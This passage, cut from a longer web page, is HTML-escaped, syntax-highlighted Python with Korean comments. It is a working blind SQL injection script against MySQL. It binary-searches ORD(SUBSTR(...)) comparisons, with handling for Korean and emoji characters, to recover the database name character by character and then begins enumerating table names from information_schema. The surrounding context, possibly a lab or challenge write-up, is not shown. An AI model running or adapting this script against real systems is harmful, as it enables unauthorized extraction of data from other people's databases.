class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] HTTP Error&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;존재하는&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# MySQL ORD() 값을 문자로 변환 &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ord_to_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; MySQL ORD() 값을 UTF-8 문자로 변환 ORD()는 멀티바이트 문자의 바이트들을 조합한 값을 반환 &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ASCII &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 멀티바이트: ORD 값을 바이트로 분해 후 UTF-8 디코딩 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_list&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 문자 범위 감지 및 이진 탐색으로 ORD 값 추출 &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract_ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; target_sql: ORD(SUBSTR(...)) 형태의 SQL 표현식 범위 체크 후 최적화된 이진 탐색으로 ORD 값 추출 &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 범위 체크: ASCII &amp;lt; 128 &amp;lt; 한글/유니코드 &amp;lt; 16000000 &amp;lt; 이모지 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) &amp;lt; 128&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ASCII 범위 (32 ~ 127) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) &amp;lt; 16000000&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 한글/유니코드 범위 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Unicode&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16000000&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 이모지 범위 (최대 약 41억) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Emoji&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4294967295&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 이진 탐색 &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# check database in blind SQL Injection &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;blindsql_attack_database&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; select database() Blind SQL Injection으로 데이터베이스 이름 추출 한글, 이모지 등 유니코드 문자 지원 &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; OR (ORD(SUBSTR((SELECT DATABASE()),1,1)) &amp;gt; binary_search) &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;database_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 1. 데이터베이스 이름 길이 확인 (LENGTH 사용 - 문자 수 기준, 이진 탐색) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(SELECT LENGTH(DATABASE())) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db_length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 길이가 0이면 DB가 없거나 에러 &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db_length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db_length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[-] Could not determine database length&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Database length: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;db_length&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2. 각 문자를 범위 체크 + 이진 탐색으로 추출 &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db_length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ORD(SUBSTR((SELECT DATABASE()),&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,1))&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract_ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ord_to_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[ORD:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;database_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] pos &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; (ORD=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) -&amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;database_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Database name: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;database_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;database_name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;blindsql_attack_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;db_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; select table_name from information_schema.tables where table_schema = &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;db_name&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 테이블 조회 서브쿼리 (LIMIT, OFFSET으로 각 테이블 선택) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span 